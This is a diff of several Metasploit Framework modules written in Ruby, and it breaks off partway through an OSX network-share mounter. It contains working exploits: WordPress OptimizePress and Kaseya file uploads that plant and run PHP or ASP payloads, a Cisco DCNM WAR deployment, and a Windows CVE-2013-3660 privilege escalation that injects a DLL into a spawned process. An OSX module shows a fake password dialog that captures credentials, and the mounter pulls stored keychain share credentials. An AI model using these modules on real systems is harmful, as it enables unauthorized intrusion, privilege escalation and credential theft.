||||
'url' => target_uri.to_s,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
unless res
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 200 and
|
||||
res.body.to_s =~ /Data Center Network Manager/ and
|
||||
res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/
|
||||
version = $1
|
||||
print_status("Cisco Primer Data Center Network Manager version #{version} found")
|
||||
elsif res.code == 200 and
|
||||
res.body.to_s =~ /Data Center Network Manager/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if version =~ /6\.1/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
attempts = datastore['ATTEMPTS']
|
||||
fail_with(Failure::BadConfig, "#{peer} - Configure 1 or more ATTEMPTS") unless attempts > 0
|
||||
|
||||
app_base = rand_text_alphanumeric(4+rand(32-4))
|
||||
|
||||
# By default uploads land here: C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\tmp\deploy\tmp3409372432509144123dcm-exp.war\cues_utility\charts
|
||||
# Auto deploy dir is here C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\deploy
|
||||
# Sessions pwd is here C:\Program Files\Cisco Systems\dcm\fm\bin
|
||||
war = payload.encoded_war({ :app_name => app_base }).to_s
|
||||
war_filename = "#{app_base}.war"
|
||||
war_location = target['AutoDeployPath']
|
||||
|
||||
print_status("#{peer} - Uploading WAR file #{war_filename}...")
|
||||
res = upload_file(war_location, war_filename, war)
|
||||
|
||||
if res
|
||||
register_files_for_cleanup("#{target['CleanupPath']}/#{war_filename}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to upload the WAR payload")
|
||||
end
|
||||
|
||||
|
||||
attempts.times do
|
||||
select(nil, nil, nil, 2)
|
||||
|
||||
# Now make a request to trigger the newly deployed war
|
||||
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
|
||||
'method' => 'GET'
|
||||
})
|
||||
# Failure. The request timed out or the server went away.
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - The request timed out or the server went away.") if res.nil?
|
||||
# Success! Triggered the payload, should have a shell incoming
|
||||
break if res.code == 200
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Author' =>
|
||||
[
|
||||
'drone (@dronesec)', # Discovery and PoC
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The
|
||||
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
|
||||
an attacker to upload arbitrary PHP code. This module has been tested successfully on
|
||||
OptimizePress 1.45.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'United of Muslim Cyber Army', # Vulnerability discovery
|
||||
'Mekanismen' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['OptimizePress', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 29 2013'
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
||||
#get upload filepath
|
||||
print_status("#{peer} - Getting the upload path...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||||
end
|
||||
|
||||
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
|
||||
file_path = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
|
||||
end
|
||||
|
||||
#set cookie
|
||||
cookie = res.get_cookies
|
||||
|
||||
filename = rand_text_alphanumeric(8) + ".php"
|
||||
|
||||
#upload payload
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
|
||||
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
|
||||
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
|
||||
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
|
||||
|
||||
print_status("#{peer} - Uploading PHP payload...")
|
||||
|
||||
n_data = post_data.to_s
|
||||
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
|
||||
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
|
||||
'data' => n_data,
|
||||
'headers' => {
|
||||
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
|
||||
#get path to payload
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||||
end
|
||||
|
||||
payload_url = ""
|
||||
|
||||
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
|
||||
payload_url =$1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
|
||||
end
|
||||
|
||||
begin
|
||||
u = URI(payload_url)
|
||||
rescue ::URI::InvalidURIError
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
|
||||
end
|
||||
|
||||
register_files_for_cleanup(File::basename(u.path))
|
||||
|
||||
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => u.path
|
||||
})
|
||||
end
|
||||
end
|
||||
@@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
super(update_info(info,
|
||||
'Name' => "MS12-022 Microsoft Silverlight ScriptObject Unsafe Memory Access",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability on Microsoft Silverlight. The vulnerability exists on
|
||||
This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on
|
||||
the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an
|
||||
unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible
|
||||
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Kaseya uploadImage Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file upload vulnerability found in Kaseya versions below
|
||||
6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous
|
||||
authentication, leading to arbitrary code execution with IUSR privileges.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Thomas Hibbert <thomas.hibbert@security-assessment.com' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '99984'],
|
||||
['BID', '63782'],
|
||||
['EDB', '29675'],
|
||||
['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Kaseya KServer / Windows', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 11 2013'))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('SystemTab','uploadImage.asp')
|
||||
})
|
||||
|
||||
# the vuln was patched by removing uploadImage.asp. if the page is there, calling it without params will return 500, else 404
|
||||
unless res and res.code == 500
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Getting cookie...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("SystemTab", "uploadImage.asp")
|
||||
})
|
||||
|
||||
unless res and res.code == 500 and res.headers and res.headers.include?('Set-Cookie')
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to get cookie")
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
@payload_name = "#{rand_text_alpha_lower(8)}.asp"
|
||||
exe = generate_payload_exe
|
||||
asp = Msf::Util::EXE.to_exe_asp(exe)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")
|
||||
data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
res = send_request_cgi({
|
||||
"method" => "POST",
|
||||
"uri" => normalize_uri("SystemTab", "uploadImage.asp"),
|
||||
"vars_get" => {
|
||||
"filename" => "..\\..\\..\\..\\#{@payload_name}"
|
||||
},
|
||||
"data" => data,
|
||||
"ctype" => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
"cookie" => cookie
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
register_files_for_cleanup(@payload_name)
|
||||
|
||||
print_status("#{peer} - Executing payload #{@payload_name}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(@payload_name),
|
||||
'method' => 'GET'
|
||||
})
|
||||
end
|
||||
end
|
||||
@@ -27,11 +27,12 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
[
|
||||
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
|
||||
'progmboy <programmeboy[at]gmail.com>', # Original Exploit
|
||||
'Keebie4e', # Metasploit integration
|
||||
'egypt', # Metasploit integration
|
||||
'sinn3r', # Metasploit integration
|
||||
'Meatballs', # Metasploit integration
|
||||
'juan vazquez' # Metasploit integration
|
||||
'Keebie4e', # Metasploit integration
|
||||
'egypt', # Metasploit integration
|
||||
'sinn3r', # Metasploit integration
|
||||
'Meatballs', # Metasploit integration
|
||||
'juan vazquez', # Metasploit integration
|
||||
'OJ Reeves' # Metasploit integration
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
@@ -54,12 +55,22 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
[ 'CVE', '2013-3660' ],
|
||||
[ 'EDB', '25912' ],
|
||||
[ 'OSVDB', '93539' ],
|
||||
[ 'MSB', 'MS13-015' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
|
||||
],
|
||||
'DisclosureDate' => 'May 15 2013',
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0,
|
||||
# TODO: Uncomment this line and remove the Rex.sleep when WsfDelay works properly.
|
||||
# Wait for up to 30 seconds by default for our shell because this exploit can
|
||||
# take quite a while to finish execute
|
||||
#'DefaultOptions' => { 'WfsDelay' => 30 }
|
||||
}))
|
||||
|
||||
# TODO: remove this when we've sorted out the WsfDelay issue.
|
||||
register_options([
|
||||
OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
@@ -110,6 +121,13 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
@@ -117,56 +135,58 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
end
|
||||
|
||||
print_status("Creating a new process and migrating...")
|
||||
dll = ''
|
||||
offset = nil
|
||||
|
||||
cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
|
||||
new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
new_pid = new_proc.pid
|
||||
print_status("Launching notepad to host the exploit...")
|
||||
cmd = "notepad.exe"
|
||||
opts = {'Hidden' => true}
|
||||
process = client.sys.process.execute(cmd, nil, opts)
|
||||
pid = process.pid
|
||||
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{pid} launched.")
|
||||
|
||||
if not new_pid
|
||||
print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
|
||||
else
|
||||
print_status("Migrating to #{new_pid}")
|
||||
migrate_res = false
|
||||
|
||||
begin
|
||||
migrate_res = session.core.migrate(new_pid)
|
||||
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
|
||||
migrate_res = false
|
||||
end
|
||||
|
||||
if migrate_res
|
||||
print_good("Successfully migrated to process #{new_pid}")
|
||||
else
|
||||
print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
|
||||
library_path = ::File.join(Msf::Config.data_directory, "exploits",
|
||||
"cve-2013-3660", "ppr_flatten_rec.x86.dll")
|
||||
library_path = ::File.expand_path(library_path)
|
||||
::File.open(library_path, 'rb') { |f| dll = f.read }
|
||||
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
|
||||
pe.exports.entries.each do |e|
|
||||
if e.name =~ /^\S*ReflectiveLoader\S*/
|
||||
offset = pe.rva_to_file_offset(e.rva)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Trying to load the exploit and executing...")
|
||||
print_status("Injecting exploit and payload into #{pid}...")
|
||||
# Inject the exploit and payload, but don't run it yet.
|
||||
exploit_mem, payload_mem = inject_into_pid(dll, payload.encoded, host_process)
|
||||
|
||||
session.core.load_library({
|
||||
"LibraryFilePath" => File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "exploit.dll"),
|
||||
"UploadLibrary" => true,
|
||||
"Extension" => false,
|
||||
"TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll",
|
||||
"SaveToDisk" => false
|
||||
})
|
||||
print_status("Injection complete. Executing exploit...")
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
# we want invoked on successful exploitation.
|
||||
host_process.thread.create(exploit_mem + offset, payload_mem)
|
||||
|
||||
if is_system?
|
||||
print_good("Exploitation successful!")
|
||||
else
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
|
||||
end
|
||||
|
||||
if execute_shellcode(payload.encoded)
|
||||
print_good("Enjoy!")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
end
|
||||
# TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local
|
||||
# exploits. For some reason it doesn't appear to work properly.
|
||||
wait = datastore['WAIT'].to_i
|
||||
print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...")
|
||||
Rex.sleep(wait)
|
||||
|
||||
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def inject_into_pid(exploit, payload, process)
|
||||
payload_size = exploit.length + payload.length
|
||||
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
|
||||
payload_mem = process.memory.allocate(payload_size)
|
||||
process.memory.protect(payload_mem)
|
||||
process.memory.write(payload_mem, exploit)
|
||||
process.memory.write(payload_mem + exploit.length, payload)
|
||||
return payload_mem, payload_mem + exploit.length
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
component, which allows arbitrary commands. The component is disabled by default, but
|
||||
required when a project uses the SCIL function WORKSTATION_CALL.
|
||||
|
||||
This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
|
||||
This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 on
|
||||
Windows XP SP3 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -19,7 +19,8 @@ class Metasploit3 < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Joff Thyer <jsthyer[at]gmail.com>', # original post module
|
||||
'joev' # bug fixes
|
||||
'joev', # bug fixes
|
||||
'Peter Toth <globetother[at]gmail.com>' # bug fixes
|
||||
],
|
||||
'Platform' => [ 'osx' ],
|
||||
'References' => [
|
||||
@@ -57,10 +58,10 @@ class Metasploit3 < Msf::Post
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def cmd_exec(str)
|
||||
print_status "Running cmd '#{str}'..."
|
||||
super
|
||||
end
|
||||
# def cmd_exec(str, args)
|
||||
# print_status "Running cmd '#{str} #{args}'..."
|
||||
# super
|
||||
# end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
@@ -79,29 +80,23 @@ class Metasploit3 < Msf::Post
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
dir = "/tmp/." + Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
pass_file = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
|
||||
username = cmd_exec("/usr/bin/whoami").strip
|
||||
cmd_exec("umask 0077")
|
||||
cmd_exec("/bin/mkdir #{dir}")
|
||||
|
||||
# write the script that will launch things
|
||||
write_file(runme, run_script)
|
||||
cmd_exec("/bin/chmod 700 #{runme}")
|
||||
|
||||
# write the credentials script, compile and run
|
||||
# write the credentials script and run
|
||||
write_file(creds_osa,creds_script(pass_file))
|
||||
cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}")
|
||||
cmd_exec("#{runme} #{creds}")
|
||||
cmd_exec("osascript #{creds_osa}")
|
||||
|
||||
print_status("Waiting for user '#{username}' to enter credentials...")
|
||||
|
||||
timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
|
||||
pass_found = false
|
||||
while (::Time.now.to_f < timeout)
|
||||
if ::File.exist?(pass_file)
|
||||
if file_exist?(pass_file)
|
||||
print_status("Password entered! What a nice compliant user...")
|
||||
pass_found = true
|
||||
break
|
||||
@@ -122,51 +117,38 @@ class Metasploit3 < Msf::Post
|
||||
cmd_exec("/usr/bin/srm -rf #{dir}")
|
||||
end
|
||||
|
||||
# "wraps" the #creds_script applescript and allows it to make UI calls
|
||||
def run_script
|
||||
%Q{
|
||||
#!/bin/bash
|
||||
osascript <<EOF
|
||||
set scriptfile to "$1"
|
||||
tell application "AppleScript Runner"
|
||||
do script scriptfile
|
||||
end tell
|
||||
EOF
|
||||
}
|
||||
end
|
||||
|
||||
# applescript that displays the actual password prompt dialog
|
||||
def creds_script(pass_file)
|
||||
textcreds = datastore['TEXTCREDS']
|
||||
ascript = %Q{
|
||||
set filename to "#{pass_file}"
|
||||
set myprompt to "#{textcreds}"
|
||||
set ans to "Cancel"
|
||||
repeat
|
||||
try
|
||||
tell application "Finder"
|
||||
activate
|
||||
tell application "System Events" to keystroke "h" using {command down, option down}
|
||||
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
|
||||
set ans to button returned of d_returns
|
||||
set mypass to text returned of d_returns
|
||||
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
|
||||
end tell
|
||||
end try
|
||||
end repeat
|
||||
try
|
||||
set now to do shell script "date '+%Y%m%d_%H%M%S'"
|
||||
set user to do shell script "whoami"
|
||||
set myfile to open for access filename with write permission
|
||||
set outstr to now & ":" & user & ":" & mypass & "
|
||||
"
|
||||
write outstr to myfile starting at eof
|
||||
close access myfile
|
||||
on error
|
||||
try
|
||||
close access myfile
|
||||
end try
|
||||
end try
|
||||
set filename to "#{pass_file}"
|
||||
set myprompt to "#{textcreds}"
|
||||
set ans to "Cancel"
|
||||
repeat
|
||||
try
|
||||
tell application "Finder"
|
||||
activate
|
||||
tell application "System Events" to keystroke "h" using {command down, option down}
|
||||
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
|
||||
set ans to button returned of d_returns
|
||||
set mypass to text returned of d_returns
|
||||
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
|
||||
end tell
|
||||
end try
|
||||
end repeat
|
||||
try
|
||||
set now to do shell script "date '+%Y%m%d_%H%M%S'"
|
||||
set user to do shell script "whoami"
|
||||
set myfile to open for access filename with write permission
|
||||
set outstr to now & ":" & user & ":" & mypass & "
|
||||
"
|
||||
write outstr to myfile starting at eof
|
||||
close access myfile
|
||||
on error
|
||||
try
|
||||
close access myfile
|
||||
end try
|
||||
end try
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
# list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.
|
||||
FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp)
|
||||
|
||||
# Used to parse a name property from a plist
|
||||
NAME_REGEXES = [/^Name \= \"(.*)\"\;$/, /^Name \= (.*)\;$/]
|
||||
|
||||
# Used to parse a URL property from a plist
|
||||
URL_REGEX = /^URL = \"(.*)\"\;$/
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'OSX Network Share Mounter',
|
||||
'Description' => %q{
|
||||
This module lists saved network shares and tries to connect to them using stored
|
||||
credentials. This does not require root privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Peter Toth <globetother[at]gmail.com>',
|
||||
'joev'
|
||||
],
|
||||
'Platform' => [ 'osx' ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
|
||||
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
|
||||
[ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
|
||||
OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
|
||||
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
|
||||
OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
|
||||
OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
username = cmd_exec('whoami').strip
|
||||
security_path = datastore['SECURITY_PATH'].shellescape
|
||||
sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
|
||||
recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
|
||||
|
||||
if action.name == 'LIST'
|
||||
if file?(security_path)
|
||||
saved_shares = get_keyring_shares(security_path)
|
||||
if saved_shares.length == 0
|
||||
print_status("No Network Share credentials were found in the keyrings")
|
||||
else
|
||||
print_status("Network shares saved in keyrings:")
|
||||
print_status(" Protocol\tShare Name")
|
||||
saved_shares.each do |line|
|
||||
print_good(" #{line}")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Could not check keyring contents: Security binary not found.")
|
||||
end
|
||||
if file?(sidebar_plist_path)
|
||||
favorite_shares = get_favorite_shares(sidebar_plist_path)
|
||||
if favorite_shares.length == 0
|
||||
print_status("No favorite shares were found")
|
||||
else
|
||||
print_status("Favorite shares (without stored credentials):")
|
||||
print_status(" Protocol\tShare Name")
|
||||
favorite_shares.each do |line|
|
||||
print_uri(line)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Could not check sidebar favorites contents: Sidebar plist not found")
|
||||
end
|
||||
if file?(recent_plist_path)
|
||||
recent_shares = get_recent_shares(recent_plist_path)
|
||||
if recent_shares.length == 0
|
||||
print_status("No recent shares were found")
|
||||
else
|
||||
print_status("Recent shares (without stored credentials):")
|
||||
print_status(" Protocol\tShare Name")
|
||||
recent_shares.each do |line|
|
||||
print_uri(line)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Could not check recent favorites contents: Recent plist not found")
|
||||
end
|
||||
mounted_shares = get_mounted_volumes
|
||||
if mounted_shares.length == 0
|
||||
print_status("No volumes found in /Volumes")
|
||||
else
|
||||
print_status("Mounted Volumes:")
|
||||
mounted_shares.each do |line|
|
||||
print_good(" #{line}")
|
||||
end
|
||||
end
|
||||
elsif action.name == 'MOUNT'
|
||||
mount
|
||||
elsif action.name == 'UMOUNT'
|
||||
umount
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the network shares stored in the user's keychain. These shares will often have
|
||||
# creds attached, so mounting occurs without prompting the user for a password.
|
||||
# @return [Array<String>] sorted list of volumes stored in the user's keychain
|
||||
def get_keyring_shares(security_path)
|
||||
# Grep for desc srvr and ptcl
|
||||
data = cmd_exec("#{security_path} dump")
|
||||
lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)
|
||||
|
||||
# Go through the list, find the saved Network Password descriptions
|
||||
# and their corresponding ptcl and srvr attributes
|
||||
list = []
|
||||
lines.each_with_index do |line, x|
|
||||
